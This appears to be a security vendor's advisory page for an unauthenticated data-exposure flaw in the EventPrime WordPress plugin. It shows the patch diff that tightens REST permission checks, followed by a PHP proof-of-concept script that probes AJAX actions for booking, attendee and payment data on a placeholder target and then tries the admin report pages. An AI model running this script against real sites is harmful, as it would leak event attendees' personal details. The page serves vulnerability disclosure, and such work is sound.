+        'desc' => "Add multiple sessions to a single event with customizable time slots, venues, and performers. Perfect for workshops, conferences, and summits with structured agendas."
     ]


--- a/eventprime-event-calendar-management/includes/class-eventprime-rest-api.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-rest-api.php
@@ -325,7 +325,56 @@

     // API key checks removed — endpoints are controlled by settings and logged-in users.

-    public function permission_callback( WP_REST_Request $request ) {
+    /**
+     * Determine whether the current user can access non-public event data.
+     *
+     * @return bool
+     */
+    protected function ep_user_can_view_non_public_events() {
+        if ( ! is_user_logged_in() ) {
+            return false;
+        }
+        if ( current_user_can( 'manage_options' ) || current_user_can( 'edit_posts' ) ) {
+            return true;
+        }
+        if ( current_user_can( 'read_private_posts' ) ) {
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Check if the current user can view the given event post.
+     *
+     * @param WP_Post|null $post
+     * @return bool
+     */
+    protected function ep_can_view_event_post( $post ) {
+        if ( empty( $post ) || ! is_object( $post ) ) {
+            return false;
+        }
+        if ( $post->post_status === 'publish' ) {
+            return true;
+        }
+        if ( $this->ep_user_can_view_non_public_events() ) {
+            if ( current_user_can( 'read_post', $post->ID ) || current_user_can( 'edit_post', $post->ID ) ) {
+                return true;
+            }
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Determine whether sensitive event fields should be exposed.
+     *
+     * @return bool
+     */
+    protected function ep_should_expose_sensitive_event_data() {
+        return is_user_logged_in() && ( current_user_can( 'manage_options' ) || current_user_can( 'edit_posts' ) );
+    }
+
+    public function permission_callback( WP_REST_Request $request ) {
         // Detailed permission handling with API-key support and diagnostics.
         $method = strtoupper( $request->get_method() );

@@ -423,76 +472,68 @@
         // Log attempt for debugging (avoid logging full keys in production)
         // Debug logging removed

-        // Allow public GET requests by default (keeps read access open). However, if the caller
-        // provides any Authorization-like credential (Bearer token, X-API-KEY, access_token query)
-        // we will attempt to validate it and return 403 on invalid credentials instead of silently
-        // falling back to public data. This prevents leaking data when an invalid token/key is supplied.
-        if ( 'GET' === $method ) {
-            // Determine if caller attempted to present credentials by checking request headers first
-            $auth_attempt = false;
-            $req_auth = $request->get_header( 'authorization' );
-            $req_x_api = $request->get_header( 'x-api-key' );
-            $req_x_ep = $request->get_header( 'x-ep-token' );
-            if ( ! empty( $req_auth ) ) $auth_attempt = true;
-            if ( ! empty( $req_x_api ) ) $auth_attempt = true;
-            if ( ! empty( $req_x_ep ) ) $auth_attempt = true;
-            $qp = $request->get_query_params();
-            if ( isset( $qp['api_key'] ) || isset( $qp['access_token'] ) ) $auth_attempt = true;
-            // Also consider server vars that may contain auth info
-            if ( ! empty( $auth_header ) || ( isset( $_SERVER['HTTP_X_API_KEY'] ) && ! empty( $_SERVER['HTTP_X_API_KEY'] ) ) || ( isset( $_SERVER['HTTP_X_EP_TOKEN'] ) && ! empty( $_SERVER['HTTP_X_EP_TOKEN'] ) ) ) {
-                $auth_attempt = true;
-            }
-
-            // If no auth attempt, allow anonymous GET as before
-            if ( ! $auth_attempt ) {
-                return true;
-            }
-
-            // If caller attempted auth, validate the credential(s). Allow if any valid method applies.
-            if ( is_user_logged_in() && current_user_can( 'edit_posts' ) ) {
-                return true;
-            }
-
-            // server key check (from earlier extraction)
-            if ( ! empty( $server_key ) && ! empty( $provided_key ) && hash_equals( (string) $server_key, (string) $provided_key ) ) {
-                return true;
-            }
-
-            // Token validation: prioritize headers present on the WP_REST_Request (these reliably reflect client headers)
-            $tkn = '';
-            if ( ! empty( $req_auth ) && stripos( $req_auth, 'Bearer ' ) === 0 ) {
-                $tkn = trim( substr( $req_auth, 7 ) );
-            } elseif ( ! empty( $req_x_ep ) ) {
-                $tkn = trim( wp_unslash( $req_x_ep ) );
-            } elseif ( ! empty( $req_x_api ) ) {
-                // treat x-api-key as provided_key above; already checked
-                $provided_key = sanitize_text_field( $req_x_api );
-            }
-
-            // If not found in headers, fallback to server vars or query param
-            if ( empty( $tkn ) ) {
-                if ( isset( $_SERVER['HTTP_AUTHORIZATION'] ) && stripos( $_SERVER['HTTP_AUTHORIZATION'], 'Bearer ' ) === 0 ) {
-                    $tkn = trim( substr( $_SERVER['HTTP_AUTHORIZATION'], 7 ) );
-                } elseif ( isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) && stripos( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], 'Bearer ' ) === 0 ) {
-                    $tkn = trim( substr( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], 7 ) );
-                } elseif ( isset( $_SERVER['HTTP_X_EP_TOKEN'] ) ) {
-                    $tkn = trim( wp_unslash( $_SERVER['HTTP_X_EP_TOKEN'] ) );
-                } else {
-                    $tq = $request->get_param( 'access_token' );
-                    if ( $tq ) $tkn = sanitize_text_field( $tq );
-                }
-            }
-
-            if ( ! empty( $tkn ) ) {
-                $valid = $this->ep_validate_access_token( $tkn );
-                if ( $valid && isset( $valid['user_id'] ) && $valid['user_id'] ) {
-                    wp_set_current_user( (int) $valid['user_id'] );
-                    return true;
-                }
-            }
-
-            return new WP_Error( 'rest_forbidden', 'Invalid or missing credentials. Access denied.', array( 'status' => 403 ) );
-        }
+        // Require authentication for all GET requests to prevent data exposure.
+        // Exception: allow access-token issuance to proceed without prior auth.
+        if ( 'GET' === $method ) {
+            $action = '';
+            if ( is_callable( array( $request, 'get_param' ) ) ) {
+                $action = $request->get_param( 'action' );
+                if ( empty( $action ) ) {
+                    $action = $request->get_param( 'trigger' );
+                }
+            }
+            if ( ! empty( $action ) && $action === 'get_access_token' ) {
+                return true;
+            }
+
+            // Allow if logged-in user has required capability.
+            if ( is_user_logged_in() && current_user_can( 'edit_posts' ) ) {
+                return true;
+            }
+
+            // server key check (from earlier extraction)
+            if ( ! empty( $server_key ) && ! empty( $provided_key ) && hash_equals( (string) $server_key, (string) $provided_key ) ) {
+                return true;
+            }
+
+            // Token validation: prioritize headers present on the WP_REST_Request (these reliably reflect client headers)
+            $req_auth = $request->get_header( 'authorization' );
+            $req_x_api = $request->get_header( 'x-api-key' );
+            $req_x_ep = $request->get_header( 'x-ep-token' );
+            $tkn = '';
+            if ( ! empty( $req_auth ) && stripos( $req_auth, 'Bearer ' ) === 0 ) {
+                $tkn = trim( substr( $req_auth, 7 ) );
+            } elseif ( ! empty( $req_x_ep ) ) {
+                $tkn = trim( wp_unslash( $req_x_ep ) );
+            } elseif ( ! empty( $req_x_api ) ) {
+                // treat x-api-key as provided_key above; already checked
+                $provided_key = sanitize_text_field( $req_x_api );
+            }
+
+            // If not found in headers, fallback to server vars or query param
+            if ( empty( $tkn ) ) {
+                if ( isset( $_SERVER['HTTP_AUTHORIZATION'] ) && stripos( $_SERVER['HTTP_AUTHORIZATION'], 'Bearer ' ) === 0 ) {
+                    $tkn = trim( substr( $_SERVER['HTTP_AUTHORIZATION'], 7 ) );
+                } elseif ( isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) && stripos( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], 'Bearer ' ) === 0 ) {
+                    $tkn = trim( substr( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], 7 ) );
+                } elseif ( isset( $_SERVER['HTTP_X_EP_TOKEN'] ) ) {
+                    $tkn = trim( wp_unslash( $_SERVER['HTTP_X_EP_TOKEN'] ) );
+                } else {
+                    $tq = $request->get_param( 'access_token' );
+                    if ( $tq ) $tkn = sanitize_text_field( $tq );
+                }
+            }
+
+            if ( ! empty( $tkn ) ) {
+                $valid = $this->ep_validate_access_token( $tkn );
+                if ( $valid && isset( $valid['user_id'] ) && $valid['user_id'] ) {
+                    wp_set_current_user( (int) $valid['user_id'] );
+                    return true;
+                }
+            }
+
+            return new WP_Error( 'rest_forbidden', 'Invalid or missing credentials. Access denied.', array( 'status' => 403 ) );
+        }

         // Mutating requests require authentication. We support three ways to authenticate:
         // 1) logged-in WP user with capability (current behaviour)
@@ -590,13 +631,12 @@
         //  GET /wp-json/eventprime/v1/bookings/{id}    -> single booking

         // Register resource routes that proxy to the unified /integration?action=... handler
-        register_rest_route( $ns, '/events', array(
-            array(
-                'methods'  => WP_REST_Server::READABLE,
-                'callback' => array( $this, 'get_events' ),
-                // let the handler decide token/permission behaviour
-                'permission_callback' => '__return_true',
-                'args' => array(
+        register_rest_route( $ns, '/events', array(
+            array(
+                'methods'  => WP_REST_Server::READABLE,
+                'callback' => array( $this, 'get_events' ),
+                'permission_callback' => array( $this, 'permission_callback' ),
+                'args' => array(
                     'page' => array(
                         'validate_callback' => function( $param, $request, $key ) { return is_numeric( $param ); }
                     ),
@@ -619,12 +659,12 @@
             ),
         ) );

-        register_rest_route( $ns, '/events/(?P<id>d+)', array(
-            array(
-                'methods'  => WP_REST_Server::READABLE,
-                'callback' => array( $this, 'get_event' ),
-                'permission_callback' => '__return_true',
-                'args' => array(
+        register_rest_route( $ns, '/events/(?P<id>d+)', array(
+            array(
+                'methods'  => WP_REST_Server::READABLE,
+                'callback' => array( $this, 'get_event' ),
+                'permission_callback' => array( $this, 'permission_callback' ),
+                'args' => array(
                     'id' => array(
                         'validate_callback' => function( $param, $request, $key ) { return is_numeric( $param ); }
                     ),
@@ -769,12 +809,12 @@
         // Also expose a v2 namespace so integrators can opt-in to the richer payload
         // and avoid potential route collisions with older block-provided endpoints.
         $ns2 = 'eventprime/v2';
-        register_rest_route( $ns2, '/events', array(
-            array(
-                'methods'  => WP_REST_Server::READABLE,
-                'callback' => array( $this, 'get_events' ),
-                'permission_callback' => '__return_true',
-                'args' => array(
+        register_rest_route( $ns2, '/events', array(
+            array(
+                'methods'  => WP_REST_Server::READABLE,
+                'callback' => array( $this, 'get_events' ),
+                'permission_callback' => array( $this, 'permission_callback' ),
+                'args' => array(
                     'page' => array( 'validate_callback' => function( $param ) { return is_numeric( $param ); } ),
                     'per_page' => array( 'validate_callback' => function( $param ) { return is_numeric( $param ); } ),
                     'search' => array( 'sanitize_callback' => 'sanitize_text_field' ),
@@ -785,14 +825,14 @@
             ),
         ) );

-        register_rest_route( $ns2, '/events/(?P<id>d+)', array(
-            array(
-                'methods'  => WP_REST_Server::READABLE,
-                'callback' => array( $this, 'get_event' ),
-                'permission_callback' => '__return_true',
-                'args' => array( 'id' => array( 'validate_callback' => function( $param ) { return is_numeric( $param ); } ) ),
-            ),
-        ) );
+        register_rest_route( $ns2, '/events/(?P<id>d+)', array(
+            array(
+                'methods'  => WP_REST_Server::READABLE,
+                'callback' => array( $this, 'get_event' ),
+                'permission_callback' => array( $this, 'permission_callback' ),
+                'args' => array( 'id' => array( 'validate_callback' => function( $param ) { return is_numeric( $param ); } ) ),
+            ),
+        ) );

         // Duplicate v1 resource routes under v2 to maintain identical behaviour
         register_rest_route( $ns2, '/integration', array(
@@ -1211,8 +1251,8 @@
             // ensure defaults
             get_option( 'ep_rest_api_settings', array() );
         }
-        $params = $request->get_query_params();
-        $page = isset( $params['page'] ) ? absint( $params['page'] ) : 1;
+        $params = $request->get_query_params();
+        $page = isset( $params['page'] ) ? absint( $params['page'] ) : 1;
         // Allow caller to request all events by sending per_page='all' or per_page <= 0.
         $per_param = isset( $params['per_page'] ) ? $params['per_page'] : 'all';
         if ( is_string( $per_param ) && strtolower( $per_param ) === 'all' ) {
@@ -1232,19 +1272,24 @@
             's' => $search,
         );

-        // Allow caller to request other post_status values (comma-separated), default to 'publish'
-        $status_param = isset( $params['status'] ) ? $params['status'] : '';
-        if ( ! empty( $status_param ) ) {
-            if ( strpos( $status_param, ',' ) !== false ) {
-                $status_list = array_map( 'trim', explode( ',', $status_param ) );
-                $status_list = array_map( 'sanitize_text_field', $status_list );
-                $args['post_status'] = $status_list;
-            } else {
-                $args['post_status'] = sanitize_text_field( $status_param );
-            }
-        } else {
-            $args['post_status'] = 'publish';
-        }
+        // Allow caller to request other post_status values (comma-separated), default to 'publish'
+        // Only authenticated users with appropriate capability can request non-public statuses.
+        $can_view_non_public = $this->ep_user_can_view_non_public_events();
+        $status_param = isset( $params['status'] ) ? $params['status'] : '';
+        if ( ! $can_view_non_public ) {
+            $status_param = '';
+        }
+        if ( ! empty( $status_param ) ) {
+            if ( strpos( $status_param, ',' ) !== false ) {
+                $status_list = array_map( 'trim', explode( ',', $status_param ) );
+                $status_list = array_map( 'sanitize_text_field', $status_list );
+                $args['post_status'] = $status_list;
+            } else {
+                $args['post_status'] = sanitize_text_field( $status_param );
+            }
+        } else {
+            $args['post_status'] = 'publish';
+        }
         if ( $after ) {
             $args['date_query'][] = array( 'after' => $after );
         }
@@ -1256,41 +1301,48 @@
         $items = array();
         // Optional debug logging when caller sets ?debug=1

-        if ( $q->have_posts() ) {
-                while ( $q->have_posts() ) {
-                    $q->the_post();
-                    // use rich formatter which prefers core helper and falls back safely
-                    try {
-                        $items[] = $this->ep_format_event_object( get_post() );
-                    } catch ( Exception $e ) {
-                        // debug logging removed
-                        // skip this event to avoid returning a 500 for the whole list
-                        continue;
-                    }
-                }
-                wp_reset_postdata();
-
-            }
+        if ( $q->have_posts() ) {
+            while ( $q->have_posts() ) {
+                $q->the_post();
+                $post = get_post();
+                if ( ! $this->ep_can_view_event_post( $post ) ) {
+                    continue;
+                }
+                // use rich formatter which prefers core helper and falls back safely
+                try {
+                    $items[] = $this->ep_format_event_object( $post );
+                } catch ( Exception $e ) {
+                    // debug logging removed
+                    // skip this event to avoid returning a 500 for the whole list
+                    continue;
+                }
+            }
+            wp_reset_postdata();
+        }

             // If no items found and caller did not explicitly request a status, try a wider fallback
             // to help surface events that may have non-standard post_status values.
-            if ( empty( $items ) && empty( $status_param ) ) {
-                $fallback_args = $args;
-                $fallback_args['post_status'] = 'any';
-                $fallback_args['posts_per_page'] = max( 20, $per );
-                if ( isset( $fallback_args['date_query'] ) ) {
-                    unset( $fallback_args['date_query'] );
-                }
-                $fallback_q = new WP_Query( $fallback_args );
-                if ( $fallback_q->have_posts() ) {
-                    while ( $fallback_q->have_posts() ) {
-                        $fallback_q->the_post();
-                        $items[] = $this->ep_format_event_object( get_post() );
-                    }
-                    wp_reset_postdata();
-
-                }
-            }
+            if ( empty( $items ) && empty( $status_param ) && $can_view_non_public ) {
+                $fallback_args = $args;
+                $fallback_args['post_status'] = 'any';
+                $fallback_args['posts_per_page'] = max( 20, $per );
+                if ( isset( $fallback_args['date_query'] ) ) {
+                    unset( $fallback_args['date_query'] );
+                }
+                $fallback_q = new WP_Query( $fallback_args );
+                if ( $fallback_q->have_posts() ) {
+                    while ( $fallback_q->have_posts() ) {
+                        $fallback_q->the_post();
+                        $post = get_post();
+                        if ( ! $this->ep_can_view_event_post( $post ) ) {
+                            continue;
+                        }
+                        $items[] = $this->ep_format_event_object( $post );
+                    }
+                    wp_reset_postdata();
+
+                }
+            }

             // Final fallback: try a simple get_posts call to ensure we surface any em_event posts
             if ( empty( $items ) ) {
@@ -1300,13 +1352,16 @@
                     'post_status' => 'publish',
                 );
                 $gp = get_posts( $gp_args );
-                if ( $gp ) {
-                    foreach ( $gp as $p ) {
-                        $items[] = $this->ep_format_event_object( $p );
-                    }
-
-                }
-            }
+                if ( $gp ) {
+                    foreach ( $gp as $p ) {
+                        if ( ! $this->ep_can_view_event_post( $p ) ) {
+                            continue;
+                        }
+                        $items[] = $this->ep_format_event_object( $p );
+                    }
+
+                }
+            }

             $out = array(
                 'status' => 'success',
@@ -1331,15 +1386,18 @@
             return $resp;
     }

-    public function handle_event_get( WP_REST_Request $request ) {
-        $id = absint( $request->get_param( 'id' ) );
-        $post = get_post( $id );
-        if ( empty( $post ) || $post->post_type !== 'em_event' ) {
-            return new WP_Error( 'not_found', 'Event not found.', array( 'status' => 404 ) );
-        }
-        $data = $this->ep_format_event_object( $post );
-        return rest_ensure_response( array( 'status' => 'success', 'event' => $data ) );
-    }
+    public function handle_event_get( WP_REST_Request $request ) {
+        $id = absint( $request->get_param( 'id' ) );
+        $post = get_post( $id );
+        if ( empty( $post ) || $post->post_type !== 'em_event' ) {
+            return new WP_Error( 'not_found', 'Event not found.', array( 'status' => 404 ) );
+        }
+        if ( ! $this->ep_can_view_event_post( $post ) ) {
+            return new WP_Error( 'not_found', 'Event not found.', array( 'status' => 404 ) );
+        }
+        $data = $this->ep_format_event_object( $post );
+        return rest_ensure_response( array( 'status' => 'success', 'event' => $data ) );
+    }

   public function handle_event_create( WP_REST_Request $request ) {
     // Protected: requires API key (permission callback will check)
@@ -2553,7 +2611,7 @@
         // Allow anonymous GETs for safe, read-only integration actions so callers
         // using the /integration?action=... shortcut can fetch public lists without a token.
         if ( $action !== 'get_access_token' ) {
-            $public_read_actions = array( 'events', 'performers', 'organizers', 'venues', 'tickets', 'bookings', 'event_types', 'get_events', 'get_tickets', 'get_bookings', 'get_performers', 'get_venues', 'get_organizers', 'get_event_type' );
+            $public_read_actions = array( 'events', 'performers', 'organizers', 'venues', 'tickets', 'event_types', 'get_events', 'get_tickets', 'get_performers', 'get_venues', 'get_organizers', 'get_event_type' );
             if ( strtoupper( $request->get_method() ) === 'GET' && in_array( $action, $public_read_actions, true ) ) {
                 // allow anonymous read
             } else {
@@ -3243,17 +3301,23 @@
         return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

-    protected function integration_get_tickets_by_event( $params ) {
-        $helpers = $this->get_integration_helpers();
-        if ( $helpers ) {
-            $res = $helpers->ep_get_tickets_by_event( $params );
-            if ( is_array( $res ) && isset( $res['status'] ) && $res['status'] === 'error' && isset( $res['message'] ) && stripos( $res['message'], 'event not found' ) !== false ) {
-                return new WP_Error( 'not_found', $res['message'], array( 'status' => 404 ) );
-            }
-            $event_id = isset( $params['event_id'] ) ? absint( $params['event_id'] ) : 0;
-            if ( $event_id && is_array( $res ) && isset( $res['tickets'] ) && is_array( $res['tickets'] ) ) {
-                $allowed_ids = $this->ep_get_visible_ticket_ids( $event_id );
-                if ( is_array( $allowed_ids ) ) {
+    protected function integration_get_tickets_by_event( $params ) {
+        $helpers = $this->get_integration_helpers();
+        if ( $helpers ) {
+            $event_id = isset( $params['event_id'] ) ? absint( $params['event_id'] ) : 0;
+            if ( $event_id ) {
+                $event_post = get_post( $event_id );
+                if ( empty( $event_post ) || $event_post->post_type !== 'em_event' || ! $this->ep_can_view_event_post( $event_post ) ) {
+                    return new WP_Error( 'not_found', 'Event not found.', array( 'status' => 404 ) );
+                }
+            }
+            $res = $helpers->ep_get_tickets_by_event( $params );
+            if ( is_array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25389 - EventPrime <= 4.2.8.3 - Unauthenticated Information Exposure

<?php
/**
 * EventPrime Plugin Unauthenticated Data Exposure PoC
 * Target: WordPress with EventPrime plugin <= 4.2.8.3
 * Method: AJAX endpoint exploitation without authentication
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// Common sub_actions that may expose sensitive data
$sub_actions = [
    'get_event_data',
    'get_booking_details',
    'get_attendee_list',
    'load_more_booking_list',
    'get_event_types',
    'get_venues',
    'get_performers',
    'get_organizers'
];

foreach ($sub_actions as $sub_action) {
    echo "n[*] Testing sub_action: {$sub_action}n";
    
    $post_data = [
        'action' => 'ep_ajax_public',
        'sub_action' => $sub_action,
        'event_id' => '1',          // Common first event ID
        'booking_id' => '1',        // Common first booking ID
        'page' => '1',              // First page of results
        'ep_search' => ''           // Empty search to get all results
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Add headers to mimic legitimate browser request
    $headers = [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'Accept-Language: en-US,en;q=0.5',
        'Accept-Encoding: gzip, deflate',
        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With: XMLHttpRequest',
        'Connection: close'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200 && !empty($response)) {
        $data = json_decode($response, true);
        
        if (is_array($data) && !isset($data['error'])) {
            echo "[+] SUCCESS - Data exposed via {$sub_action}n";
            echo "[+] Response preview: " . substr(print_r($data, true), 0, 500) . "n";
            
            // Check for sensitive data patterns
            $sensitive_patterns = [
                '/email/i',
                '/phone/i',
                '/name/i',
                '/address/i',
                '/user/i',
                '/booking/i',
                '/ticket/i',
                '/payment/i'
            ];
            
            $response_str = json_encode($data);
            foreach ($sensitive_patterns as $pattern) {
                if (preg_match($pattern, $response_str)) {
                    echo "[!] Contains sensitive data matching: {$pattern}n";
                }
            }
        } else {
            echo "[-] No data returned or error responsen";
        }
    } else {
        echo "[-] HTTP {$http_code} or empty responsen";
    }
    
    curl_close($ch);
    sleep(1); // Rate limiting
}

// Additional test for direct endpoint access
echo "n[*] Testing direct report endpointsn";
$report_endpoints = [
    '/wp-admin/edit.php?post_type=em_event&page=ep-reports',
    '/wp-admin/admin.php?page=ep-reports'
];

foreach ($report_endpoints as $endpoint) {
    $test_url = 'http://target-site.com' . $endpoint;
    $ch = curl_init($test_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200) {
        if (strpos($response, 'booking-list') !== false || strpos($response, 'attendee') !== false) {
            echo "[+] Possible direct access to reports: {$endpoint}n";
        }
    }
    curl_close($ch);
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School